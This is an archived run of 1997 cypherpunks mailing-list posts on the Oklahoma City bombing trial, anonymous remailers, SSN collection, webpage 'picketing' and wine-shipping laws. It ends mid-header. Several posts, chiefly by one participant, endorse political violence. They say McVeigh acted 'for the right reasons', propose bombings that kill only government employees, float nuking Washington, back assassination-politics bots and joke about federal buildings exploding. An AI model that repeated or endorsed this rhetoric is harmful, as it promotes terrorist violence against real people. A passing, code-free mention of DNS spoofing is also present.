On Mon, 2 Jun 1997, Kirk Fort wrote:

> he has been convicted on the 11 (I believe) federal employees.  He has yet
> be tried on the other 156. I believe that the state of Oklahoma is going to
> prosecute that case.  The 11 deaths should be enough though, for the
> maximum penalty.

Actually, he was prosecuted for the murder of 8 federal employees.  The
remaining 3 counts he was convicted of were conspiracy, destruction of
government property, and use of a weapon of mass destruction (or
something like that).  Oklahoma does plan to file 160 murder charges
against McVeigh.  Then there are the wrongful death lawsuits...



Mark
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Version: 2.6.3
Charset: noconv

iQEVAwUBM5SaByzIPc7jvyFpAQEo9QgAzQcENQ/2qH47FhJH5Lttp4iH2eP2Vs8X
QqotVjPAveUA0vOqw0hFh12ZpBZFRo8flblCamiIDf21dNHSpExhYKHCBHLbtXDY
P71OF6fkvHZg8sMTAToVLO3tAdf9Klw+JqW27P/80Cg8Q+YphfZWcTvXDEil5rm/
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siDknkGESRRZnMQVx+QqN2sn2awskydYvnWnvbhbLYJFot9IdDKkVQ==
=J6v6
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 4 Jun 1997 09:32:19 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: Who "invented" remailers?
In-Reply-To: <v03102807afba566172be@[207.167.93.63]>
Message-ID: <v0310280cafba70127c0a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:27 PM -0700 6/3/97, Hallam-Baker wrote:
>OK I'll partially retract the anti-government ranters comment
>since Tim wants to be included in it :-) I think it was clear where
>the comment was aimed however...

Well, in light of the comments recently from Rotenberg that we are just a
bunch of armchair activists, and in light of comments I've received that my
articles are no longer "must reads" but are instead just "rants," and
becuase I am well known to not be a C++ programmer (though I do have
Smalltalk, Mathematica, and Scheme on my system...now _those_ are my kind
of languages!), I felt you were broadly critiquing most of the list as not
having done anything for the "cause of cryptography." (Whatever _that_
might be, if it is not remailers, message pools, data havens, and pushing
for true digital cash, etc.)

>It seems that Tim did not explore the less salubrious areas of the net
>but the closing down of Wizvax and the first anonymizing mailer was closely
>followed by another service whose name I forget but the name Kleinpaste
>certainly rings a bell. 1992 would be about the right time period as
>well. Elf Sternberg at Compuserve might well remember the rest of the story.

1991-92 was indeed the time of both major branches of the "remailers."
Somewhere in my Cyphernomicon are some quotes from Kleinpaste and Julf, and
the context of their work. Here's one quote from the chapter on remailers
(available at
http://www.oberlin.edu/~brchkind/cyphernomicon/cyphernomicon.contents.html):

 + Karl Kleinpaste was a pioneer (circa 1991-2) of remailers.
              He has become disenchanted:
             - "There are 3 sites out there which have my software:
                anon.penet.fi, tygra, and uiuc.edu.  I have philosophical
                disagreement with the "universal reach" policy of
                anon.penet.fi (whose code is now a long-detached strain
                from the original software I gave Julf -- indeed, by now
                it may be a complete rewrite, I simply don't know);
                ....Very bluntly, having tried to run anon servers twice,
                and having had both go down due to actual legal
                difficulties, I don't trust people with them any more."
                [Karl_Kleinpaste@cs.cmu.edu, alt.privacy.anon-server,
                1994-08-29]


I don't know if Karl has written any longer articles on his involvement
with anonymizing services.


>I agree that the Julf mailer had big problems operations wise but I fear
>that the current mixmaster setup is a bit too unweildy for naive use.
>Like PGP I tend to see it as an advert to the authorities that you are
>likely to be up to no good. The CIA can probably find the information they
>really want by simply tracking PGP messages on the net and doing trafic
>analysis, same goes for the mixmaster class servers and the problem
>remains that there is no response facility.

We see this "they can probably track messages if they want to" view
expressed often. Especially by people who haven't thought about the issue
in detail, who perhaps just think it "only stands to reason" that the NSA
or CIA could backtrack trace messages if they wished to.

While not accusing Phill of being one of these folks who is just
speculating, I really encourage him to carefully look at this issue, to do
some calculations of the mix entropy introduced with sites use mix fan-ins
of sufficient size.

(Hint: 10 remailers each taking in 10 messages of the same rounded-off size
give 10^10 possible routings to follow. Of course, there are not 10 billion
messsages in all. But by the pigeonhole principle, in fact, it means any
final output message could have been any of the input messages. If the
remailers do not reveal input-output mappings ("collusion"), it is hard to
imagine traffic analysis doing much.

(There are important issues, discussed by several of us several years ago,
and more recently by Wei Dai and Lucky Green, dealing with correlation
analysis of messages sent and messages received...esentially pattern
analysis. Perhaps you will say "Ah, this is what I was referring to."
Perhaps.)

Look, casual assertions that the CIA can trace messages through
multinational chains of encrypted remailers, most with strong mixing
(latency), are just that: casual assertions.

We all agree that more remailers are needed, that  more mechanistic
(Chaumian sealed boxes) are needed, etc.

With 100 digital mixes, each taking in 100 messages before resending, there
are more routings to track back than there are particles in the universe.
Smoke that, CIA!

--Tim May




>
>I had an idea for an anonymous contact server in the Julf mould that was
>resistant to the legal attack. No logs of email addresses would ever
>be kept, to retreive responses from the server one would have to send
>a retrieval request to it, possibly including a password.
>
>For one time uses this would be enough. But if you wanted to get more
>comprehensive deniability you could require use of encryption and
>send back all the messages recieved within a particular partition of
>the database. Its pretty difficult to get a good system that allows
>a two way communication to be sustained.
>
>
>The idea was inspired by the crypto-SPAM refusal list that I'm currently
>doing a beta test on, try:-
>
>http://etna.ai.mit.edu/SPAM/
>
>Just don't tell the censorware folks...
>
>
>	Phill


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 4 Jun 1997 09:49:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Who "invented" remailers?
In-Reply-To: <199706040027.UAA11558@muesli.ai.mit.edu>
Message-ID: <v0310280dafba752caebe@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:58 PM -0700 6/3/97, Mike Duvos wrote:

>For technology to have a reasonable lifetime, it must have functionality
>somewhere in between impossible to use, and "click here to threaten the
>life of the president."

<CLICK>

<CLICK>

Hey, Mike, I tried clicking where you said to, and nothing happened. Is
your script not working yet?


--Timothy McMeigh







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 4 Jun 1997 07:30:15 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: McVeigh
In-Reply-To: <3393682D.167E@ai.mit.edu>
Message-ID: <Pine.LNX.3.91.970603182957.90A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim
> > of the OKC bomber.
> 
> I'm surprised at the concern. After all I've not noticed militia
> supporters and appologists speaking out against the death penalty.

Tim McVeigh certainly acted for the right reasons. This does not make him 
any less guilty, he killed innocent children in that building (no, I`m 
not subscribing to the "save the children!" mentality, and do not believe 
that an innocent childs life is more valuable than that of an innocent 
adult, merely noting that as children they could not have been guilty of 
acts of agression against McVeigh or anyone else because they were under 
the age of criminal responsibility), if we were to say he were any less 
guilty we would be allowing ourselves to believe in thoughcrime, and not 
judging the overt act. 

Whether McVeigh himself did it or not is questionable, I believe he did, 
this is just a gut feeling, no jury should have convicted him on the 
pathetic collection of circumstantial evidence presented.

> If one is driving away from the scene of the biggest single terrorist
> incident on US soil one is probably well advised to both have 
> license plates on the car and not be carrying unlicensed firearms.

Of course, but stupidity does not signify guilt. McVeigh almost seemed to 
WANT to be caught, this is backed up by the fact that he has right wing 
militia literature in his car at the time of his arrest.

> If one is arrested its probably not advisable to counter interrogation
> by refusing to give more than name rank and serial number, a request
> to see a lawyer is probably a more sensible choice.

McVeigh certainly didn`t make the smart choice, but he made the right 
choice, he was at war with the US government, name rank and number were 
all he was obliged to release.

> The one problem I have with the trial is the leaking of the
> defense notes. I suspect that they are genuine and that McVeigh 
> really did confess. 
 
I personally feel the same, McVeigh pleading not guilty suprised me, he 
originally planned a suicide attack I believe, which would lead me to 
suggest he would not later back down from his actions like that.

> In the UK publication would be barred for
> the duration of the trial and heavy jail sentences imposed since
> the right to a fair trial is considered a reasonable justification
> for a temporary bar on the right to free speech. 

In the UK anything is considered reasonable justification for 
restrictions on free speech, there are draconian restrictions on the 
freedom of the press. 
Of course, freedom of speech is absolute, if you believe a few rags 
printing allged defense notes will affect a prosecution you are probably 
right, that does not make censorship acceptable.

> However I would
> not argue that the trial be halted as a result since one 
> possible explanation is that the defense saw that there was no 
> chance of aquital and gambled on gaining a mistrial. 

The defense is a joke, but what do you expect? Whether McVeigh did it or 
not, the government wants someone to blame and McVeigh is the idea 
target, an anti-government "evil terrorist" to parade in front of the media.

> Appologists for McVeigh should consider that his actions did not 
> advance the militia cause an iota, it destroyed it and along with 
> it much of the right wing fringe. It forced Rush Limbaugh off 
> television and many right wing hosts off radio. 

Indeed, McVeigh has harmed the cause of freedom. Quite the opposite of 
his intentions.

> McVeigh ripped the heart out of the militia movement, he demonstrated
> what it was really about. Ironically the Oaklahoma bombing may have
> had precisely the effect McVeigh desired but in a very different 
> sense. It was a wake up call to defend the country from fascism 
> but the fascist threat was McVeigh and the millitia movement.

Of course, if the militia movement were to have any effect a concentrated 
effort or even a few bombings killing only government employees would 
have been a better course of action.

> recovered from the beer hall putsch. Alternatively they can 
> loudly claim that McVeigh was "framed" in the same way that
> other neo-NAZIs on the net claim the holocaust a fake, i.e.
> so that nobody really believes it. I suspect that this script

The militias would be better to disown McVeigh and condemn his alleged 
actions because he killed innocents. 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 4 Jun 1997 07:35:34 +0800
To: Kirk Fort <kirkfort@teleplex.net>
Subject: Re: okc trial
In-Reply-To: <199706030019.UAA24151@teleplex.net>
Message-ID: <Pine.LNX.3.91.970603184643.90B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> I hope Tim McVeigh frys. His friend Terry too.
> 
> "Dust off old sparky, its time to start cooking"

You do not question McVeighs guilt?

Also, I believe he was tried in Denver, Collorado? - Don`t they use 
lethal injection?

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 4 Jun 1997 08:14:29 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: McVeigh
In-Reply-To: <199706030603.CAA22498@dhp.com>
Message-ID: <Pine.LNX.3.91.970603184850.90C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> Hallam-Baker, realizing he is a soft target, wrote:
> 
> > Appologists for McVeigh should consider that his actions did not
> > advance the militia cause an iota, it destroyed it and along with
> > it much of the right wing fringe.
> 
>   Or perhaps just sent more people underground.
>   Many remarked that the Jim Bell arrest chilled the free speech
> of many list members but there are now at least two active AP Bots
> on the internet.
>   I haven't noticed anybody "apologizing" for McVeigh or Bell.
> There are merely those who act or who don't act.

I would say that the visible and government-vilified militia groups have 
been damaged by this, because of the killing of innocents. Where is the 
second AP bot, I know about the one at sympatico.......

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Wed, 4 Jun 1997 10:04:52 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199706040151.SAA08692@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain



asgaard@cor.sos.sll.se writes:
--- cuts ---
 > Laws against matching various 'public' registers for multiple entries
 > are also making life easier for tax evaders (who might be libertarian
 > heroes of course, but remember that for most salary-dependent people
 > of lesser income it works like this: the more the entrepreneurs evade
 > taxes, the more they have to pay to support the nomenclatura)
--- cuts ---

This assertion relies on the faulty assumptions that:

A) Government expenditures (particularly at the state and federal
   level) are at all related to tax revenue.

B) Government expenditures cannot be decreased.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 4 Jun 1997 07:33:22 +0800
To: Mike Duvos <mpd@netcom.com>
Subject: Re: Guilty Verdict in Denver Show Trial
In-Reply-To: <199706021939.MAA09926@netcom18.netcom.com>
Message-ID: <Pine.LNX.3.91.970603185036.90D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> For extra credit, let's have a pool to predict the number of federal
> buildings which will blow up on the day of the execution. 

A BD (building destruction) bot then?

I`m sure there will be one or two, to mark the fact that the bombing took 
place on the day of the murders at Wako (or was it Ruby ridge?, my memory 
fails me).

I certainly hope a large number of government criminals are executed on 
the same day as McVeigh.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 4 Jun 1997 11:36:41 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102808afb696432bfa@[207.167.93.63]>
Message-ID: <3.0.1.32.19970603185312.0073f2e4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:03 PM 6/1/97 -0400, Robert A. Costner wrote:
>A new grocery store opened down the street from me.  
>They have lots of special prices, but only available to "club members".
>Club cards are free, but you have to fill out a form. The form asks for
>1.Name >2.  Address >3.  Phone Number >4.  Spouse name
>5.  Social Security number
>In exchange for giving this information, the store will give me a 35 
>cent discount on each package of soft drinks I purchase.  
>This is not a check cashing card, that is a separate form. 
>Why does the store need my social security number ....

They're trading a discount on purchases for marketing information.
If you us an obvious pseudonym, they'll know that
Johnny Cash always buys Brand X pretzels with Brand Y beer,
but the SSN lets them check with TRW/Equifax/Etc. and find that
You, William J. Clinton, a married homeowner making $200K/year,
also have an American Express card and rent N hotel rooms/year,
and already subscribe to Soldier of Fortune and Rent-A-Politician,
but don't yet get the Nukes-R-Us or Victoria's Secret catalogs,
which is more valuable marketing information than just the groceries.

Some places might still be willing to give you a discount for the
pseudonym, but others combine their discount card with a check-cashing
card so they're probably not only not interested, but won't accept it
because [bounced-check-tracking credit bureau] doesn't consider
SSN#000-00-0000 unique and doesn't have a record for 999-65-4321.

>Yes, I would support a law that forbids private companies to ask for 
>social security numbers except for tax purposes.

I'd categorize you as well-meaning-but-needing-to-think-longer
rather than an evil "Uber-Enemy :-) 
Private companies asking for information are engaged in free speech -
you don't have to give them the answer they're hoping for,
and you don't have to do business with them if you don't want.
Radio Shack keeps asking for my phone number, I keep not giving it,
and the only thing that's changed about our business relationship
for many years is that they no longer sell real electronic components
and don't seem to have their free-battery club scam any more.

On the other hand, when the government _requires_ private companies to 
collect Nationalized TaxPayer ID Numbers to be allowed to deal with you,
it's a problem - for instance, requiring SSNs for bank accounts,
requiring SSNs for employers to verify with La Migra that you're a
Real Tax-payin' American instead of some Job-Stealin' foreigner,
requiring documentation on cash transactions over $750,
requiring car dealers to collect your SSN for car registration, etc.,
then there's clearly a privacy problem.  Sometimes you can avoid it,
by using non-US banks, contracting firms, etc., but it's a hassle.

One of the big effects of this is that the SSN _is_ a widely available
mostly-unique ID number that's useful for correlating information.
An alternative, if the government wanted to promote privacy,
would be to replace the Single SSN with a bunch of tax numbers
(either on a smartcard or just giving you a list on paper)
which would let you give everybody who needs a TaxId a different number.
They could still correlate all your tax information, but nobody else
would have the information to know that John Smith, bank-user,
is John Smith, home-owner, or John Smith, car-buyer.
Of course, this number would need to be more than 9 digits,
so it would break lots of old software, you wanted that stuff
broken anyway, and hey, the year 2000's coming as well :-)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Wed, 4 Jun 1997 07:11:49 +0800
To: John Deters <jad@dsddhc.com>
Subject: Re: Webpage picketing?...
In-Reply-To: <3.0.1.32.19970603164718.00a218e0@labg30>
Message-ID: <Pine.GSO.3.95.970603185336.24937F-100000@king>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 3 Jun 1997, John Deters wrote:

> Note that both of these require you to be an unscrupulous stealer of other
> peoples browser space.  They also require the users arrive at your site
> first, and leave via your links (their own bookmarks or typed URLs will let
> them off the hook.)  I don't know of a way (short of usurping a DNS
> server's authority) of getting hooked into their site from the first.  I
> suppose if you ran a router between the site you wished to hijack and the
> viewer whom you've hijacked, you could, but we're talking MAJOR no-no (and
> lots of code) here.

It's not too difficult (in theory) to exploit some race conditions in
recursive DNS lookups and to forge entries for sites.  By doing this you
should be able to redirect most sites to your site, from at least a
selected audience.  (Those people whose primary nameserver you can usurp)

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
ryan@michonline.com                           Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 4 Jun 1997 07:38:36 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Rotenberg or Berman? (was Re: e$: Beltway piglets and other barnyard animals)
In-Reply-To: <v03020900afb8b3e72ca1@[139.167.130.246]>
Message-ID: <Pine.LNX.3.91.970603190150.90F-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Dr. Froomkin, who I admire and respect very much, may call remarks like
> those cannibalism (nice Carib indian word, cannibal), but for myself, I
> prefer to think of it as Texas barbeque. :-).
> 
> Here, Micheal, have some of those baby back ribs over there. I just made
> them myself. Just a touch of habanero in the sauce (and Pearl beer, of
> course) makes all the difference in the world.


Your semi-flippant comment has actually given me a really good idea:

I had thought guns were our best defence against the evil empire, I now 
realise a log fire and a spit are more appropriate, I look forward to 
eating Tony Blairs liver with a nice Chianti <draws air through teeth in 
a silence of lambs type manner>...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 4 Jun 1997 07:24:03 +0800
To: cypherpunks@toad.com
Subject: Re: Remove this link immediately
Message-ID: <199706032304.TAA20710@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



> > > > > Your hackers resource page contains a link to my GURU'S LAIR WEB site
> > > > > at http://www.tinaja.com
> > > > > Please remove this link.
> > > > > Please do so immediately.
> > > >
> > > > Short answer, no. If you don't want links to it don't put it on the net.

  "All you private property is target for your enemies."
                - Jefferson Airplane






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 4 Jun 1997 11:44:41 +0800
To: cypherpunks@toad.com
Subject: Update on Wine Politics
Message-ID: <3.0.1.32.19970603190607.0073f2e4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

A few weeks ago there was a thread about Florida's proposal
to ban direct shipments of wine into the state, making it a _felony_
for anybody except a state-licensed wholesaler to import alcohol.
The weekend I was up in the California wine country, and one of the
local papers had an article on other states limiting direct shipments.
Apparently about 24 states ban them, though only one makes it a felony;
the rest treat it as commercial business, either civil or criminal.
[That's evil also, but at least it's not an outrageous penalty...]

While mail-order wine has been a possibility for a while, the 
Internet has changed the marketing economics enough to be interesting,
and some of the Internet wine businesses have been fined by a few states,
with typical penalties of $7-35K.  At least one of them has taken a
Frissellian approach to the problem - $7000 isn't a big fine,
and it'll cost the government more than that to collect, so they're
ignoring it and trusting the economics and uncatchability
to encourage the government to ignore it also.

			Bill


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Version: 5.0 beta
Charset: noconv

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#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 4 Jun 1997 07:43:18 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: May's Banal Rant
In-Reply-To: <v03007803afb8f6640d36@[204.91.138.31]>
Message-ID: <Pine.LNX.3.91.970603191101.90H-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> One other point about EPIC's role in the crypto debates -
> we've done very little in the legislative realm other
> than to argue for relaxation of crypto controls,
> oppose DT, DT funding, and criminalization of crypto.
> You want to find the folks cutting the deals, look
> elsewhere.

Behind the scenes for example?

> against Clipper, in Paris against TTP, and two
> weeks ago in London against the DTI proposal.

No thanks, we don`t want your "help". Of course you are free to act as 
you like, but your co-operation with the criminal scum that rule us shows 
you as what you are.

> See, another problem with the Libertarian view of the world is
> you can't accept the idea that an organization in Washington,
> DC does real government oversight or political advovacy. It
> doesn't fit with your notecard-sized description of the world.

My view of the world is wider than your view up the ass of Washington 
poloticians when you are licking your way to a deal.

> Free speech is wasted on closed minds.

My time is wasted on you...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 4 Jun 1997 08:14:03 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: May's Banal Rant
In-Reply-To: <3.0.2.32.19970602110450.0077d010@netcom13.netcom.com>
Message-ID: <Pine.LNX.3.91.970603191423.90I-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Anarchy can not be achieved by negotiations or cooperation with any
> branch of government. 

Very succintly put, and straight to the point. Even minarchism could not 
be achieved by compromising or negotiating with the current system.


> Neither can crypto-anarchy be achieved by nuking
> DC.

This is not so certain, crypto-anarchy would of course be achieved if 
anarchy in general were achieved, this could occur if strong action were 
taken such as nuking DC. I believe more selective systems such as AP will 
eventually cause the downfall of government, and will do so in a much 
more ethical and discrimatory manner.

> thinking that "something is better than nothing" or "the bastards need to
> receive the punishment they so richly deserve". Neither view will help to
> further crypto-anarchy in any meaningful way.

I don`t believe they are at all comparable statements, the first is a cop 
out, the second simply carries the discussion to its logical conclusion, 
that agressors must be punished and agressive acts must be prevented.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Wed, 4 Jun 1997 09:08:47 +0800
To: cypherpunks@toad.com
Subject: Webpage picketing
Message-ID: <199706040021.TAA16641@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text




Hi,

I want to thank everyone for their copius sharing of knowledge on this
issue. Where I was originaly going with this was comparing a supermarket and
the picketers on a public sidewalk and how the police must protect the
picketers from interference and interfering with customer access. The
thought that has been going around in my head for a few days was consider a
site whose traffic does over a publicly funded backbone (ie sidewalk &
customers). Now on this site is a webpage to which another group objects to.
Under what conditions akin to sidewalk use might a provider or network
provider be forced to provide any user requesting a link to the
objectionable page with the page of the objecting group.

What I see is a simple single screen page that immediatly takes you to the
desired page. Something conceptualy akin to a picket sign.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jim Burnes" <jim.burnes@ssds.com>
Date: Wed, 4 Jun 1997 10:09:40 +0800
To: Hallam-Baker <paul@fatmans.demon.co.uk>
Subject: Re: McVeigh
Message-ID: <199706040145.TAA04223@denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



Just thought I'd fire off a few comments re: the okc bombing

> Date:          Tue, 3 Jun 1997 18:43:10 +0000 (   )
> From:          Paul Bradley <paul@fatmans.demon.co.uk>
> To:            Hallam-Baker <hallam@ai.mit.edu>
> Cc:            cypherpunks@toad.com
> Subject:       Re: McVeigh

> 
> > > Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim
> > > of the OKC bomber.

Its more like poor innocent workers and kids who are just more 
victims of the insanity initiated by the Scott, Weaver and Waco 
murders.  Brought to you by the good government of holy statist
religion.

None of those criminals have been tried, much less convicted.

My favorite quote from the Scott murder (I believe it was from the
local prosecuting attorney).

"...well they just lost their moral compass"

And so did McVeigh.
  
> > 
> > I'm surprised at the concern. After all I've not noticed militia
> > supporters and appologists speaking out against the death penalty.
>

Irrelevant.
 
> Tim McVeigh certainly acted for the right reasons.

He acted for reasons that had nothing to do with murdering innocents.
I guess this was his US Army training in the Gulf.  I think it was an 
act of cowardice.  If you have a grudge with some US officials and 
you think you will be the avenging angel it takes much more courage 
to attack them personally than to blow up a building.

But if we're talking relative evils then at least his motives were not
to plunder someone's land, to run live stormtrooper excercises
against a church or to collect a paycheck for assasinating a mother (baby 
in arms) from a safe distance.



> 
> Whether McVeigh himself did it or not is questionable, I believe he did, 
> this is just a gut feeling, no jury should have convicted him on the 
> pathetic collection of circumstantial evidence presented.

The only thing I think he should have been convicted of is 
conspiracy.  The rest of the so-called evidence is pretty flimsy and
never actually locates him at the scene of the crime.  Of course
conspiracy in an act like that should probably get you life.

...misc rantings deleted....

HB states...
    
> > McVeigh ripped the heart out of the militia movement, he demonstrated
> > what it was really about. Ironically the Oaklahoma bombing may have
> > had precisely the effect McVeigh desired but in a very different 
> > sense. It was a wake up call to defend the country from fascism 
> > but the fascist threat was McVeigh and the millitia movement.
>

Hmmm.  Well just in case anyone has forgotten, McVeigh was ratted out
by the Michigan Militia when he went to one (1) of their meetings.  
This happened because he tried to sell them the idea of 
blowing up federal buildings.   The MM called the FBI, which admitted 
it.  I guess the Feds thought..."oh, just another wacko wanting to blow 
up federal buildings.  We'll get to him later.  Right now we have 
more important things to attend to - like covering up Waco."

> > recovered from the beer hall putsch. Alternatively they can 
> > loudly claim that McVeigh was "framed" in the same way that
> > other neo-NAZIs on the net claim the holocaust a fake, i.e.
> > so that nobody really believes it. I suspect that this script
>

Cool.  Lets set up an excellent strawman to knock down.  How come 
whenever HB (and other socialist/statists) talk about the opposite of 
statism they always talk about NAZI's.  (remember National 
>Socialist's<).  Oh, fascism is another favorite label.  Fascism is 
from the Latin "fascia" - - to bind together.  Politically fascism is 
the melding together of state and corporate interests until each
serve each other well.  Maybe we can identify fascism on the
American scene.  CNN lapdogs reporting Waco "news" directly from
the FBI's on-site mouthpiece.  Other big-time media keeping their
respectful 3 miles from the Davidians' religious community.  (not 
compound, not cult).  Whatever happened to the reporter in the field 
from the Vietnam war days?  What about AP filtering out the DEA siezure 
of a military cargo aircraft importing 1 ton of cocaine into Alameda 
naval airstation?  What about 60 minutes' analysis of the infrared 
footage where the ATF was mowing down citizens fleeing the Waco 
barbecue?  Their experts told them that murder was being committed.
Nothing on TV.

...that's fascism.

(sung to the tune of That's Entertainment)



> The militias would be better to disown McVeigh and condemn his alleged 
> actions because he killed innocents. 
>

See above.  The MM rejected him, but the FBI thought he was harmless.

End game.  McVeigh guilty of whatever.  They are probably right.  
What I'm more interested in is the nest of viper's behind the man.
Since we're invoking WWII Nazi history, can anyone say,
"burning of the Reichstaag"

Jim Burnes
Engineer, Western Security, SSDS Inc
jim.burnes@ssds.com
----
Sometimes it is said that man cannot be trusted with the government
of himself.  Can he, then, be trusted with the government of others?
Or have we found angels in the forms of kings to govern him?  Let
history answer this question.  -Thomas Jefferson, 1st Inaugural Addr





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 4 Jun 1997 11:02:13 +0800
To: Jim Choate <cypherpunks@toad.com
Subject: Re: Webpage picketing
